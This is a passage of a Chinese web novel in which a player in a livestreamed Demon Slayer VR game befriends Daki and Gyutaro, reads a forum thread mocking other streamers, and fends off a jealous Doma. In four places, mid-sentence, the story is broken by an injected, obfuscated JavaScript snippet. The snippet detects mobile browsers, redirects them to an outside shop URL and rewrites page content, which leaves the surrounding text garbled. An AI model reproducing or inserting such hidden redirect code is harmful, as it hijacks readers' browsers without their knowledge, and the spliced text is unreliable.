开门一看,堕姬站在外面,身后跟着一脸茫然的妓夫太郎。 “人我带来了,”她说着,然后把哥哥推进房间,“你们聊,我有点事先走了。” 朝奈:“......” 妓夫太郎:“?” 堕姬真的说完就走,没给俩人一点反应的时间。 妓夫太郎站在门口,进也不是退也不是,只能沉默地看着面前。 一时间,四目相对,大眼瞪小眼。 【我不行了】 【上弦陆:我干嘛来的?】 【奈奈子:你干嘛来的?】 【小梅:你们聊我先溜了】 最后,朝奈主动开口结束了这场尴尬的面面相觑。 “进来坐坐?” 妓夫太郎垂眼思考了几秒,妥协似的一步一步挪了进来,在离她有点距离的地方坐下。 她试着找了点话题,“小梅她一直都这样吗?” 对面的人点点头,声音闷闷的,“嗯。” “不过,也挺可爱的。”顿了顿,朝奈感叹道。 妓夫太郎看了她一眼,没说话,表情看上去是认同的意思。 朝奈也不急,见他不怎么愿意开口,便安静地陪他坐着。 大概过了一炷香的时间,他忽然站起来。 “...我有事,走了。” 她很会看脸色,没有任何阻止的意思。 又过了几天,朝奈刚才外面回来,推开门就看见妓夫太郎坐在她房间里。 是的,她没看错。 在她房间里,面无表情地坐着。 朝奈:“......?” 妓夫太郎看见她一脸疑惑,低声解释:“小梅说,你找我有事。” 朝奈眨了眨眼睛,“我没找啊。” 两人对视一眼,同时明白了是怎么回事。 百分之一万又是小梅自作主张做的。 朝奈无奈地叹了口气,在他对面坐下。 “来都来了,坐会再走得了。” 妓夫太郎沉默着,不过也没起身要走的意思。 朝奈完全不介意,只要这样相处能够涨好感度,在这坐到游戏更新维护她都没意见。 她自顾自地倒了一杯茶,看似随口般问:“小梅平时都喜欢做什么?” 这个问题似乎让妓夫太郎愣了一下,他脸上的漠然消散了几分。 想了想,他开口,“买衣服,买首饰,打扮自己。” 嗯,这很小梅。 “她喜欢吃什么?” “甜的,和果子,金平糖。” 朝奈点点头,和她了解的完全一样。 她又问:“那你呢?” 妹妹的喜好摸清楚了,哥哥的一点头绪都没有怎么行? 对话进行到这里卡住了。 朝奈以为他不打算回答,准备换个话题。 “...没有。”他的声音有点沙哑。 “没有?” “没有喜欢的东西。” 他说完就不再接话了。 朝奈看着对方垂下去的眼睛,一时也有点感慨。 在变成鬼之前,他和妹妹过的是什么样的日子? 房间里霎时安静下来。 这一次,他坐了一个时辰。 走之前他破例开口问了个问题。 “你叫,朝奈?” 被喊名字的人愣了一下,笑着回答了他:“对,朝夕的朝,奈何的奈。” 他还是那副对一切都很漠然的表情,点点头,然后转身离开了。 【百家姓里的朝不应该是“chao”么,为什么是朝夕的“zhao”】 【oi,这个姓氏确实好少见】 【我想到了一个人,也是这个姓】 【马萨卡。。。。】 “因为chao太难听了,所以我跟别人自我介绍都是念的zhao。”朝奈如是回应弹幕。 经历了好几天这样的日子,她已经逐渐习惯房间里突然多一个不请自来的人。 她甚至特意多准备了几个杯子,在妓夫太郎被小梅以各种理由喊来的时候,能递给对方一杯茶或是一杯水。 某天,妓夫太郎又如往常一样出现在她的房间。 朝奈非常自然地把杯子递了过去。 他接过,捧在手里,没喝也没放下。 “今天小梅去试新衣服了,”朝奈解释,“说是京都新到的料子,她要挑几匹做秋季的和服。” 对面的人听着,表情微微松动。 “她和那间店的老板认识,每次去都会给她留最好的,应该要不了多久时间。” 她说着,推过去一小碟金平糖,“小梅很喜欢,我想着你也可以试试?” 妓夫太郎看着那碟糖,眼神有些复杂。 在朝奈或许能称之为鼓励的目光下,他伸出手拿了一颗。 “甜吧?” “...嗯,很甜。” 原来,小梅喜欢的味道是这样。 那天他坐了很久才走。 在系统的快进功能下,时间又过了几天。 这天很难得,堕姬没有把妓夫太郎用某种理由喊过来。 朝奈正疑惑,就听到敲门声。 开门一看,堕姬站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们路过一个卖金平糖的小摊,朝奈停下脚步,侧头对身边的人说:“等我一下。” 说完,她径直走过去。 摊主是一个和蔼的老爷爷,笑着给了她一袋糖。 她买完回来,分了妓夫太郎一袋。 “给小梅的买的,”朝奈说,“闻起来很香,她肯定喜欢,你也尝尝。” 妓夫太郎接过,捏着袋子的手指微微收紧。 他的神色代替了他未说出口的话。 朝奈知道那是谢谢。 两人继续往前走。 来到河边的时候,天色已经完全黑了下来。 河岸边稀稀疏疏地站着几个人,似乎都在等烟花。 朝奈找了个相对来说没有人的地方,靠着河畔的木栅栏站定。 妓夫太郎站在她旁边,还是一步的距离。 “你以前看过烟花吗?” 她开始试探着问他的过往。 他沉默了片刻,轻轻摇摇头。 朝奈没有追问。 “那今天就是第一次了,”她试着安慰对方,“挺好的。” 如果这也能算一句安慰的话。 妓夫太郎转过头看她。 月色下,她的侧脸被映衬得非常柔和,目光看向远处的天空,面上还带着淡淡的笑意。 他很快移开了视线。 37.第三十七章 “你对我的态度...很认真。”妓夫太郎的声音压得很低,“为什么?” “认真吗?”朝奈看着黑漆漆的天空,“也许吧。” 她想了想,认真地回答,“因为你是小梅的哥哥,你对她很好。” “小梅对我很好,我也想对她好。” “所有对她好的人,我都会认真对待。” “而且,”朝奈顿了顿。 妓夫太郎的肩膀微微僵了一下。 他似乎很困惑。 “我知道你为了保护小梅可以拼上自己的性命。” “一百多年,你从来不会离开她,也不可能放弃她。” “你是一个很好的哥哥,对我来说,这就够了。” 他盯着朝奈的侧脸,想说些什么。 就在这时,第一朵烟花在夜空中绽开。 “真漂亮。” 不仅仅局限于游戏,这样的烟火放在现实世界里也是极美的。 妓夫太郎没有看烟花。 他看着她。 被烟火映亮的侧脸,眼里倒映的光,脸上未变的淡淡笑意。 那是一种很奇怪的感觉。 一百多年来,从来没有人对他说过这样的话。 原来他和小梅之间的羁绊,可以被看见,能够被认可。 烟花一朵接着一朵绽开,朝奈感觉到身侧的目光,她侧过头对上妓夫太郎的眼睛。 几乎是一瞬间,他慌乱地移走了视线,垂着眸。 朝奈没出声,只是从袋子里拿出一颗金平糖,递给他。 “给。” “就当是替小梅先尝尝?” 这个理由很充分,他果然没有拒绝。 妓夫太郎看着掌心的那颗糖,放进嘴里,甜味在舌尖化开。 气氛在此刻意外地融洽。 烟火结束后,妓夫太郎送她回荻本屋。 在回去的路上,他沉着声开口。 “小梅很喜欢你。” 他额前的头发遮挡住了眼睛,看不清表情,“她从来没有...这么喜欢过一个人。” 朝奈倒是笑得很开心,“我也很喜欢小梅。” 没有人会不喜欢她。 “...嗯。” 他还是只有短短的一个字,但至少算一种回应。 和妓夫太郎道别后,朝奈独自走在荻本屋的一楼走廊。 她在刷朝隼给她发来的论坛热帖。 - #【热帖】花街这图是人能打的?开荒一整个道心破碎(附各大主播坐牢实录) 楼主[退网只退了网线]发表于 XXXX-XX-XX 00:37 家人们谁懂啊,我真的服了吧。 楼主我自认也算是个游戏老手了,入坑《鬼灭》之后一路从蜘蛛山砍到鬼杀队入选考核,虽说算不上大佬,但也好歹是个体术点满,呼吸法入门的老油条,结果花街区域一上线,我进去直接坐大牢。。。 这图是人设计的吗?那个堕姬绸带甩得比我毕业论文还乱,妓夫太郎也跟个死神一样,拿着镰刀什么都不说就从背后砍过来,打了一整天,我的尸体连起来估计能把游郭绕个三圈,现在看见红色和粉色我就生理性反胃。 我就想不明白了,游戏设计师自己玩过游戏吗?特意去逛了一圈各大主播的开荒直播,你猜怎么着?原来不止我一个人,合着大家全都在破防,我释怀地笑了,顿时感觉开荒体验也没那么差了。 把整合的各大主播开荒实录放楼下,你们慢慢看吧,有惊喜。 (提示:附件下载后查看) 1L [该用户已注销] 00:38 我靠抢到前排了,国际惯例我先笑为敬。 2L [三文鱼真好吃] 00:38 第一个视频就笑得我公鸡打鸣。 我们技术区有名的肝帝压缩哥这次也被制裁了,点满敏捷悄咪咪摸进花街是吧?一个飞檐走壁飞人家上弦陆老巢里去了。 3L [退网只退了网线] 00:39回复 2L 美团外卖骑手来的,专业送货上门。 4L [国家一级退堂鼓演奏家] 00:39 我看这第二个视频也是离人很远了。 整活区主播阿三cos成游郭的客人,我还以为他要干嘛呢,居然是想试试能不能混进剧情里偷鸡。 他特意弄了套花魁同款衣服,在花街大摇大摆走了十几分钟愣是没触发战斗,结果乐极生悲,路过一个拐角的时候,迎面撞上妓夫太郎。 5L [不知道就艾草] 00:40 驻波从阿三变成了阿一点五,考考你们呀,知道为什么吗? 6L [烧烤之助] 00:41回复 5L 为啥? 7L [总有基佬拉我裤链] 00:41回复 6L 因为被腰斩了。 8L [五条悟单推人] 00:42 。。。。不好笑!都不许笑! 9L [正在吃代餐] 00:43 把第三个视频发弱智吧去竞选吧主,感觉能直接保送。 怎么会有人在鬼灭里死档啊?前脚被堕姬的绸带绞死,系统自动存档在半空,复活之后直接掉下来摔死。 憋笑.jpg 憋不住了.jpg 10L [麦门] 00:44 在现场看的直播,筑波就这么复活、摔死,复活、摔死,一直反复循环。 直播间bgm还是二泉映月,笑得我在地上乱爬。 11L [家1为爱出走的那个雨夜] 00:45 我不行了,看早了,该把楼主这些视频留到过年看的。 顺便歪个楼问一下,有没有不破防的主播看啊? 搜罗一圈大家都被花街虐得苦不堪言,想看真·大佬的第一视角操作。 12L [泪水打湿充电线] 00:46回复 11L 猜你想看:[朝奈直播间链接] 13L [余额背着我偷偷做0] 00:49 ???点进去看了三分钟,我怀疑我进错游戏分区了。 这姐们在干嘛?在荻本屋和堕姬喝茶?还给她买金平糖? 14L [炮形态波比] 00:49 我刚刚也在看,现在已经懵了。 堕姬拉着她的手说“你对我这么好,我帮帮你怎么了”,然后转头把上六往她房间里推? 不是哥们,我们玩的是同一个游戏吗? 15L [退网只退了网线] 00:50回复 14L 等等等等,我整理视频的时候没刷到这个啊??? 什么情况? 16L [TD转人工] 00:50 楼主快去看,她已经在花街住了小半个月了,到现在一次都还没死过。 最新进度是妓夫太郎主动去她房间坐着,她还给人递茶递糖。 弹幕全在刷【上弦陆:我干嘛来的?】 17L [余额背着我偷偷做0] 00:51 我悟了,原来花街的正确打开方式是恋爱养成(?) 18L [早点睡觉好吗] 00:52 刚爬楼去看完,心情好复杂,原来这就是大佬吗。。 而且这个ID总感觉好眼熟,是不是之前在哪里见过,等我翻翻历史记录... 19L [猗窝座激推人] 00:53回复 18L 不用翻了,她是那个在莲花池反杀童磨然后鬼化的狠人。 当时论坛都炸了,就是她开的鬼阵营。 20L [吃拼好饭中毒了] 00:54 时常感叹你游拉新是真离谱,现在论坛里居然还有不认识朝奈的。 21L [五蚂蚁] 00:55回复 20L 捉中毒哥,奈奈子最近素材多得要命,《爱播今天又在做什么》系列该更新了吧? 大大注意身体,千万别累着,也别休息。 22L [神券涨得难受] 00:56 我们在花街被虐成狗,她一个鬼在花街岁月静好。 看哭十四亿老钟人。 23L [蝴蝶忍无可忍] 00:57回复 22L 骗你的,其实连狗都不如。 24L [过年回农村在雨中忧郁喂鸡] 00:58 她是鬼阵营,堕姬和妓夫太郎和她属于同一阵营。 所以她其实是在刷同阵营的好感度。 25L [三军听令,自刎归天] 00:59 破案了,花街这图不是给鬼杀队阵营的玩家打的,是给鬼阵营刷好感度的。 我们人类玩家进去就是送人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244034|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,人家鬼阵营的进去是走亲戚。 26L [早点睡觉好吗] 01:00 笑死,楼主辛辛苦苦整理各大主播破防实录,结果真正的通关攻略是别当人。 27L [我草莓招了] 01:01回复 26L 我不做人了JOJO! 28L [焚烧老公只为治疗冷暴力] 01:02 家人们我悟了,这就去开新档,我也要当鬼,我也要去花街走亲戚。 29L [我是山里灵活的狗] 01:03回复 28L 你先想好怎么在莲花池反杀童磨。 30L [焚烧老公只为治疗冷暴力] 01:03回复 29L 艺术就是爆炸,开局直接把无限城全炸了,大家都别活! 31L [甘露寺蜜璃鸡腿人] 01:04回复30L 我也要死吗? 32L [AAA童磨头颅批发商] 01:05回复 31L 又寸。 ...... 199L [退网只退了网线] 01:49 楼主看完直播回来了。 现在心情宛如地雷男穿恨天高半夜上楼散心重心不稳坠楼现场。 这就是世界的参差吗? 200L [塞尔达天下第一] 01:50 楼主,烟花好看吗(笑) 201L [猗窝座激推人] 01:51回复200L 楼主这个帖子可以改名叫做《我在论坛看别人谈恋爱》了。 大家在讨论怎么在花街活命,人家在思考怎么攻略上弦。 202L [匿名用户376] 01:52 突然想到一个问题,之前朝奈也和上二一起看过烟花吧,虽然只是一个活动限时副本。 她和上六现在走这么近,童磨那边什么反应? 203L [性感母蟑螂] 01:53回复 202L 我草,真是个好问题,老大还是你会磕喵,小女子甘拜下风。 204L [同人女绝赞发疯中] 01:54 啊啊啊啊啊啊童磨大人快来!!!! 我要看修罗场!!!! 205L [不要再嬷我家1了好不好] 01:54 可是。。我觉得。。朝奈和妓夫太郎。。也很好磕啊。 你们不懂,这明明就很神圣[视频链接] 206L [同人女绝赞发疯中] 01:55回复 205L 神圣雷霆啊! 207L [退网只退了网线] 01:56 楼主缓缓打出一个问号。 我好好一个破防吐槽贴怎么变成CP安利贴了??? 208L [美美桑内] 01:57 笑死我了,楼主你看你楼里这些回复,大家全都歪楼讨论朝奈去了,没人关心你整理的破防视频。 209L [退网只退了网线] 01:58回复208L 没事,我不在乎。 因为我也在看朝奈直播了。 210L [该用户已注销] 02:00 这下楼主也被拐跑了。 211L [三文鱼真好吃] 02:01 楼主别挣扎了,加入我们奈家军吧!奈奈子不会让你失望的。 212L [吃拼好饭中毒了] 02:02 来看我主页抽象整活小视频,全是奈奈子各种精(下)彩(饭)操作。 213L [无惨大人缺挂件吗] 02:03 所以楼主你的视频还继续整理吗? 214L [退网只退了网线] 02:04 整理个der,我现在要去朝奈直播间补课了。 再见了,所有的破防主播们。 楼主现在心情很好,有缘再见! 215L [我是山里灵活的狗] 02:05 乐。花街区域的正确打开方式找到了:别自己玩,看奈奈子玩。 216L [猗窝座激推人] 02:06 精辟。 所有进来看这个帖子的人,现在立刻放下手头上所有的事情。 点开直播软件,关注朝奈谢谢喵。 (系统提示:该评论已被楼主加精置顶) 38.第三十八章 朝奈关掉了帖子,给某人回了个“?”,然后走进荻本屋。 老板娘坐在柜台后面,手里拿着账册正在算账,听见动静抬起头来。 “回来了?”老板娘把手里的账册放下,笑盈盈地看着她,“烟火大会怎么样?热闹吧?” 见老板娘这副样子,朝奈估摸这个月的盈利应该不少。 她点点头,在柜台前停下脚步,“嗯,挺好看的。” 老板娘目光在她身上转了一圈,最后落在她手里那袋金平糖上,“买了糖?” “路过摊子顺手买的。”把糖袋往身后藏了藏,动作很自然。 老板娘没多问,只是笑着感叹:“年轻真好啊,烟火大会这种日子,就该出去走走,不像我这种老婆子,只能在店里守着。” “哪里老了,”朝奈顺嘴接了一句,“明明还很年轻。” “就你会说话。” 老板娘被夸乐呵了,完全没跟她计较擅自离店这件事,朝奈很顺利地就上了楼。 站在自己房间门口,她有一种很不好的预感。 打开门。 果然,窗台上有一道黑影。 月光从窗外照进来,把他的轮廓勾勒得有些清冷。 那双七彩的眸子在黑暗中泛着淡淡的光。 “朝奈酱,”他的声音轻飘飘的,就像一片羽毛落在水面之上,“晚上好呀~” 【卧槽卧槽卧槽卧槽】 【论坛是谁先说的,捏吗的还真来啊!!!?】 【也是给产品姐点上梗了】 【激动的心,颤抖的手,截图键我已准备就绪】 【李涛一下这算不算捉奸】 【我不行了,为什么有种诡异的诙谐感】 【老婆出轨独自抚养孩子长大深夜泪水浸透荞麦枕头长出新芽了她还没回心转意遂上门讨要说法的既视感】 【长难句起手这一块】 【弹幕还有高手?】 “这么晚了,找我有什么事吗?”朝奈走进房间,随手拉上了门。 童磨歪着头看她,脸上挂着招牌式的、人畜无害的笑容。 他这次又想做什么? “我都看见了哦。” 朝奈的动作顿了顿。 她的手还扶在门上,闻言侧过头。 “哦?你看见什么了?”她的语气平静得不能再平静。 “看见朝奈酱和别人一起看烟花。” “靠的很近说悄悄话。” 他每说一句,就往她这边走近一点。 说到最后这句时,已然靠近她身前。 “......” 都怪弹幕吧。 她现在也觉得氛围好奇怪啊。 “童磨阁下跟踪我?”朝奈面不改色,反问道。 “没有呀,”童磨眨眨眼,一脸无辜,“我只是刚好路过,刚好看见而已。” 【嗯嗯,《刚好路过》《刚好看见》】 【噫,空气里怎么酸溜溜的】 【我不行了,这下真是有好戏看了】 【第三十八回:奈奈子悄掩风月案,磨磨头笑翻醋缸天】 【煮啵,你自己加油吧!】 朝奈看着他演,也懒得拆穿。 她走到矮几旁坐下,把买给小梅的金平糖放在了一旁的储物柜里。 “我确实和别人一起去看了。”她坦然承认。 “所以呢?童磨大人来找我就是为了说这些?” “哦,”童磨拉长了调子,眼睛弯起,“和妓夫太郎呀~” 他念出这个名字的时候,语气里带着某种说不清道不明的东西。 “他陪朝奈酱一起看了烟花。” “嗯。” “他吃了朝奈给的糖?” “吃了。” “他送朝奈酱回来了?” “送了。” 朝奈不知道他到底要干什么,但并不妨碍她陪着对方演一出好戏。 那一瞬间,房间里安静得能听见窗外风刮过屋檐的声音。 “这样啊——” 他最后向前走了一步,停在她面前半步的距离。 童磨微微弯腰,凑近她。 “朝奈居然背着我,和别人一起看烟花,好伤心呢。” 她看着这张近在咫尺的脸,甚至能看清他轻轻扇动的眼睫。 稳住心神,故意用轻快地语气说:“难道以后还要先向你汇报吗?” 童磨垂着眼,还是带着那副招牌式的表情,无声地盯着她笑。 这样的目光让朝奈有点不舒服。 太近了。 而且,真的很奇怪啊! 谁能告诉她,明明什么关系都没有,为什么他们之间会出现这样的对话? 她决定说点什么找回主动权。 “童磨大人,”她稍微向后仰了仰,拉开一点距离,“你这么在意我和谁一起,总不能是吃醋了吧?” 【噢噢噢噢噢噢她A了上去!!】 【我草我草我草今晚真是来对了直播间】 【早跟我说鬼灭还能这么玩啊,我从出生起就要苦心钻研】 【我们的女主角率先发表了讲话,童磨会如何应对呢?本台记者中毒哥持续为您报道。】 其实朝奈只是想逗逗他,不指望他会给出什么样的反应。 没想到他真的愣住了,虽然只有那么一瞬。 “吃醋?”他的语气很困惑,“那是什么?” 朝奈居然真的眯着眼在思考:“我想想怎么和你形容。” 【现在是问答这种问题的场合吗!?】 【一个敢问一个敢答说是】 【你们俩无敌了】 朝奈努力脑补了一个场景:如果switch拟人化之后,背着自己和ps5一起打游戏的话,她一定会吃醋的。 她的胸腔里传来一种酸涩的情绪。 至于是怎么来的先别问。 她在空中虚点童磨心脏的位置,“这里有没有感受到什么?” 童磨低下头,看着她指尖点着的地方。 隔着衣料,隔着血肉。 他活了太久太久,早就忘了心跳是什么感觉。 胸腔里应该是空荡荡的寂静,但现在,她指着的地方涌起一股奇怪的感觉。 他忽然感觉有什么东西动了一下,很轻很轻。 想要抓住—— 童磨抬起手,把她的手按在自己胸口,眼里带着一丝连他自己都没察觉到的困惑。 “朝奈酱说的,就是这个吗?” “这里早就不会有感觉了。” “但是刚才朝奈酱说那些话的时候,”他顿了顿,“感觉很奇怪。” “酸酸闷闷的,说不清楚是什么。” 他看着朝奈,虹眸里倒映着她的脸。 “朝奈酱,”他问,“这就是吃醋吗?” 共感能让他感受到她的情绪。 朝奈看见手腕上缠绕着的红线闪烁起光芒,感受着手心下的那片冰凉。 或许她正在慢慢接近那片乱码背后的真相。 【救命吧童磨怎么看起来还有点委屈】 【停停停,现在这个氛围是要闹哪样】 【诡异的剧情发展,已经。。。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254358|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有。。。人类了。。。】 【他俩还真不是人】 【你们可以亲一个吗?直播间的大家什么都会做的】 “朝奈总是这样。” 因为他的靠近,原本被她拉开一点的距离又回到了原点,“让我一次又一次感到好奇呢。” 他抬起手,指尖轻轻触碰她的脸颊,眼中流动着复杂的光。 似乎还在回味刚才转瞬即逝的酸涩。 “所以,朝奈酱——” 他凑得更近,呼吸几乎要交缠在一起。 “试着来喜欢我吧?” 朝奈愣了一下,有点太突然。 她还以为对方会继续问点什么,或者换个话题把主动权抢回去。 那双七彩的眸子里,笑意还在,但多了点看不透的东西。 这句话暧昧得有些过分。 她没有回答。 她的手还被他按在胸口,红线从她的腕间延伸出去,没入他的衣袖,微弱的光在黑暗中明明灭灭,诉说着某种无声的讯号。 来试着喜欢我吧? 话飘在空气里,轻得像随口一说,又因为太轻,反而让人不知道怎么接。 【泻药,童奈党已飞升】 【寸不已啊妹子我不能和你玩了,我产品成官配了,我再也不上天台了,我变出翅膀飞去米其林餐厅享用大餐了】 【别急,煮啵这不还没回应呢么】 【我已急哭,求你们了,就当是为了我亲一个吧】 【煮啵快跑啊不对快上啊也不对总之你们给我在一起!!!】 弹幕在视野边缘飞速滚动,朝奈难得没有分心去看。 她在想,他真的知道自己在说什么吗? “童磨阁下,”朝奈轻轻开口,“你明白喜欢是什么意思吗?” 童磨有些困惑。 “不知道呀。”他回答得理所当然,甚至带着些愉悦,“但是朝奈酱知道对吧?” “所以我才说,试着来喜欢我吧。” 他弯着眼睛,笑得很开心,“这样我就能知道,喜欢是什么感觉了。” 【???】 【逻辑鬼才】 【我居然无法反驳】 【我求你俩去演戏造福大家吧,在这直播有点屈才了】 【已严肃录屏发表论坛】 【已严肃下载准备反复观看】 【好,很有精神!】 手腕上的红线有了温度,开始发热发烫。 朝奈不做声色地收回了手,似笑非笑地看着面前的人,也不给出明确的回答。 面对童磨这样难对付的上弦鬼,回避是最好的解决方案。 然而,童磨没有就这么轻易地放过她。 “真苦恼呢。”他自言自语似的小声抱怨着。 目光落在她的唇上,又移回她的眼睛。 “那朝奈酱可以像上次一样,再亲我一下吗?” “不可以哦。”朝奈这次拒绝地很果断。 “那是只有恋人才可以做的事情。” “恋人才能做?” 童磨手撑着脸颊,像是在认真思考什么。 房间安静了几秒,然后他又抬眸,看着朝奈。 “那我们现在是什么关系?” 【好问题】 【问得好】 【急急急,主播问你话呢!】 朝奈正分心在看日志的最新进展,一时间大脑仿佛被按下了暂停键。 什么关系? 她一心二用,嘴比脑子快了一步。 “偷情?” 一瞬间弹幕炸了。 39.第三十九章 【???】 【我听到了什么???】 【这对吗?!这能对吗!】 【来来来,煮啵你告诉我什么叫做偷情!?】 【童磨不是来捉奸的吗】 【捉奸者终成小三】 【嘴比脑子快这一块/.】 【我一口奶茶喷在显示屏上了,主播真是不鸣则已,一鸣惊人】 房间里安静了几秒。 房间外的人也陷入了死寂之中。 门外的阴影里,堕姬紧紧捂住了自己的嘴。 她本来是来找朝奈的,哥哥今天回去之后和往常不太一样,她想来问问烟火大会上到底发生了什么。 然后,她看见了全部。 从童磨大人问朝奈吃醋是什么开始,按住她的手,说“朝奈酱,来试着喜欢我吧”。 她的大脑现在一片空白。 一百多年前,如果不是童磨大人出手相助,她早就死在那场大火中了。 是他把血分给了她和哥哥,让他们变成鬼,活了下来。 虽然童磨大人说的那些话总是让她听不懂,但她和哥哥一直很尊敬他。 可是现在。 现在到底是什么情况啊?! 堕姬的心脏几乎要从嗓子眼里跳出来。 她必须离开这里。 现在。 立刻。 她悄悄往后退了一步,木屐的鞋跟在走廊地板上磕出一道极轻的声响。 房间里交谈的声音停住。 堕姬心道不妙,整个人一僵,下一秒,门从里面被拉开一条缝。 朝奈站在门内,目光越过门缝,精准地落在她身上。 神色毫不意外,只微微侧过身,那样的眼神…似乎在邀请她进去? 门缝开得更大了些。 月光从窗台照进来,童磨就在那片月光中,弯着眼睛看她。 “晚上好呀~”他用那副轻飘飘的语气叫她,仿佛刚才什么都没发生过,“在外面站着做什么,进来吧?” 这下就不得不进去了。 堕姬僵着身体,迈开腿走进了房间。 她在矮几旁边坐下,双手规矩的放在膝盖上,背挺得笔直,盯着面前的榻榻米有点不知所措。 童磨坐在她对面,撑着下巴看她,带着点好奇,“小梅这么晚来找朝奈酱,有什么事吗?” 堕姬的脑子终于开始运转。 对啊,她是有正事来的。 “我来问问朝奈,今天的烟火大会——”她说到一半,忽然意识到这句话说出来更不对劲。 烟火大会,哥哥和朝奈一起去的。 但是童磨大人在这里。 这笨嘴! 她恨不得咬掉自己的舌头。 朝奈从旁边的储物柜拿出那袋买给她的金平糖,语气平静地接过她的话,“烟火大会很好看,谢谢小梅。” 堕姬感觉到正前方的那道视线,后背都在冒汗。 只见那人弯着眼的弧度加深,目光在她和朝奈之间转了一圈,似乎在品味什么。 此刻的房间很安静。 朝奈伸手,给堕姬倒了一杯茶,动作轻松自然,俨然一副房间主人的模样。 “说起来,”她将话题一转,神色如常,“小梅,你和哥哥变成鬼有多久了?” 堕姬愣了一下,完全没想到她会问这个。 “一百多年吧?”她想了想,“具体多久...记太不清了。” 朝奈点头,端起自己的茶杯抿了一小口。 “那变成鬼之前的事情,你还记得多少?” 堕姬的动作顿了一下,她盯着手中的茶杯,努力回想。 奇怪。 她知道自己小时候和哥哥相依为命,知道有人放了火—— 但,再往前呢? 母亲长什么样子?她和哥哥住在哪里?那些时候都发生了什么事情? 她想不起来了。 记忆像隔着一层雾,模模糊糊的,只剩下一些零零碎碎的片段,还有隐约闪过的某种异样感。 “记不太清了,”她最终说道,声音比刚才低了几分,“变成鬼之后,很多事情...全都忘了。” 朝奈只是静静地看着她,似乎在鼓励她说下去。 “我只记得...很苦,”她皱着眉头,努力从模糊的片段里抓住什么,“吃不饱,穿不暖,冬天很冷。” “还有...” “哥哥背着我。” 这个画面突然变得清晰起来。 有人背着她。 很瘦的背,硌得慌,但是比太阳还要温暖。 “他一直背着我往前走,”堕姬轻声说,“去什么地方不记得了。” “他一直都在。” 朝奈从她的话语中提取了最关键的那个信息。 堕姬看着朝奈,心里微微一动。 是的。 不管记不记得那些苦日子,不管忘掉了多少事情。 哥哥一直都在。 从她有记忆开始,从未离开过。 从一开始就一直在旁听的童磨这时突然开口,“小梅还记得这么多,真厉害呢。” “那个夜晚把血分给你们,可能是我做过最正确的决定也说不定哦?” 朝奈的目光在两人之间转了一圈,又落在了堕姬身上。 “小梅。”她尝试着获取更多信息。 堕姬闻声看着她。 “你刚才说,有人在房间里放了火,”她尽量让自己的语气没那么郑重,“是童磨阁下后来救了你们?” 堕姬点点头。 “那天的火,就记得特别烫,让我喘不过气来,甚至以为自己就要这么死去了。” “还有——” 她突然停住。 还有什么? 有一个声音,在喊她的名字。 是谁? 她拼命去回想,那道声音却越来越模糊,像被水面的倒影被风吹散。 “没关系,小梅,记不清的事情不用勉强。”朝奈把那袋糖往前推了推。 堕姬盯着面前那袋金平糖。 朝奈在烟火大会上,和哥哥一起买给她的。 她想起来,今天哥哥回去之后,一直沉默地坐在角落里,不知道在想些什么。 她问他烟火大会好不好玩,他就点了点头,然后沉默了很久。 哥哥在想些什么?也在想那些记不清的事情吗? 堕姬不知道。 朝奈看着堕姬困惑的神情,那袋金平糖在她手中被无意识地攥紧又松开。 她知道这就是缺口了。 堕姬的执念从来都不是仇恨,是被遗忘的但始终存在的羁绊。 她和哥哥之间存在着共生般的联系,那些模糊不清的人类记忆,那个背着她走过无数街巷的身影。 这些都埋藏在鬼的血肉之下,兄妹之间的羁绊从未消失过。 “小梅,你先坐着,我这边突然有点事情要处理。” 堕姬回过神,有些茫然地追随着她起身的背影。 对面的童磨也眨眨眼,似乎想要开口。 朝奈的手指在空中虚点了几下。 [系统提示:当前处于非战斗状态,NPC关系友好,无主线剧情推进,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264639|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否暂停游戏?] [是/否] 朝奈毫不犹豫选择了“是”。 时间被暂停。 堕姬保持着抬头的姿势,童磨的笑容凝固在脸上,一动不动。 一切都陷入绝对的寂静。 朝奈点开通讯页面。 “哥。” 下一秒,朝隼的声音传来:“怎么了?我看你游戏画面突然卡住了。” “你能让我回到过去吗?” 通讯那头沉默了几秒。 “...你说什么?” 朝奈把刚才发生的事情简单说了一遍。 “我需要知道她遗忘的那些东西,那场火里到底发生了什么?” 